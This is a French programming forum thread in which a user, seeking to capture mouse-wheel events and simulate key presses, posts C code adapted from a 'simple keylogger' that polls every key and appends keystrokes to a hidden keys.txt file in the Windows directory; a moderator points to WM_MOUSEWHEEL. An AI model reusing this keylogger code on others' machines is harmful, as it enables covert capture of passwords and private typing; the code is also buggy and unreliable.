Capture roulette souris

Signaler
Messages postés
10
Date d'inscription
mercredi 9 novembre 2011
Statut
Membre
Dernière intervention
23 février 2012
-
Messages postés
15108
Date d'inscription
lundi 11 juillet 2005
Statut
Modérateur
Dernière intervention
30 juillet 2021
-
Bonjour à tous,
J'ai pour objectif de capturer un évènement sur la molette de la souris ^^
Et en fonction de cet évènement je voudrais faire une simulation de touche.
J'imagine que des logiciels le font déjà, sauf que je souhaite programmer tout ça par moi même : D

J'ai déjà trouvé une piste intéressante :
http://www.rohitab.com/discuss/topic/9931-simple-keylogger-c/

Avec ce code (un peu modifié) j'arrive à récupérer tous les évènements clavier (sauf certaines touches... => ²)=^$ù*,;:! ), et bien sur les évènements souris :
click droit
click gauche
click molette
Mais malheureusement, je ne récupère pas la roulette.

Ce qui rend la chose assez frustrante.

J'ai aussi fait un tour du côté de la librairie SDL mais je n'arrive pas à récupérer "tous" les évènements comme le ferait un keylogger, c'est à dire lorsque l'on est dans le focus d'un autre programme.

Est ce que quelqu'un aurait ne idée ?
Merci à ceux qui m'auront lu :)

4 réponses

Messages postés
15108
Date d'inscription
lundi 11 juillet 2005
Statut
Modérateur
Dernière intervention
30 juillet 2021
97
Hello,
Regarde le message WM_MOUSEWHEEL


@+
Buno
----------------------------------------
L'urgent est fait, l'impossible est en cours. Pour les miracles, prévoir un délai...
Messages postés
10
Date d'inscription
mercredi 9 novembre 2011
Statut
Membre
Dernière intervention
23 février 2012

Bonjour Buno,
Merci pour ta réponse si rapide :)
Pour l'instant je suis dans le floux.
Dans le code que j'ai trouvé/linké, j'ai remarqué que cette fonction :

for(i=0;i<=2000;i++){

if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
printf("%d",i);
}
}

J'ai donc remplacé la fonction getAsyncKeyState par GET_WHEEL_DELTA_WPARAM(WM_MOUSEWHEEL)

En faisant un printf dessus je n'obtiens que des 0. Impossible de récupérer l'évènement de mes rêves.
Si tu as une autre idée je suis preneur.
Messages postés
10
Date d'inscription
mercredi 9 novembre 2011
Statut
Membre
Dernière intervention
23 février 2012

J'avance j'avance ^^

Le code sur lequel je suis me retourne le chiffre de l'évènement.
Par contre il ne gère pas encore la souris, si quelqu'un a une idée.
Voici le code :

#define WM_MOUSEWHEEL 0x020A
#include <stdio.h>
#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0400
#endif
#include <windows.h>
#include <Winuser.h>


void keys(int key,char *file)
{

FILE *key_file;

key_file = fopen(file,"a+");



if (key==20){keybd_event(VK_RETURN,0,0,0);}

if (key==WM_MOUSEWHEEL){fprintf(key_file,"%s","[del]");keybd_event(VK_RETURN,0,0,0);}


if (key==8){fprintf(key_file,"%s","[del]");}


if (key==13)
fprintf(key_file,"%s","\n");

if (key==32)
fprintf(key_file,"%s"," ");

if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");

if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");

if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");

if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");

if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");

if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");

if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");

if (key ==VK_END)
fprintf(key_file,"%s","[END]");

if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");

if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");

if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");

if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");

if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");

if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");

if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");

if (key ==190 || key==110)
fprintf(key_file,"%s",".");

if (key >=96 && key <= 105){

key = key - 48;

fprintf(key_file,"%s",&key);

}

if (key >=48 && key <= 59)

fprintf(key_file,"%s",&key);



if (key !=VK_LBUTTON || key !=VK_RBUTTON){

if (key >=65 && key <=90){

if (GetKeyState(VK_CAPITAL))

fprintf(key_file,"%s",&key);
else

{

key = key +32;

fprintf(key_file,"%s",&key);

}
}

}

fclose(key_file);





}

int main()
{



char i;


char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");


while(1){


for(i=0;i<=2000;i++){

if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
printf("%d",i);
}

if (GET_WHEEL_DELTA_WPARAM(522)==-32767){
printf("test%d",WM_MOUSEWHEEL);
}

}

}

}
Messages postés
15108
Date d'inscription
lundi 11 juillet 2005
Statut
Modérateur
Dernière intervention
30 juillet 2021
97
Attention, l'action sur la molette de la souris n'est pas considéré comme un appui touche...
Regarde si cette source peut t'aider

@+
Buno
----------------------------------------
L'urgent est fait, l'impossible est en cours. Pour les miracles, prévoir un délai...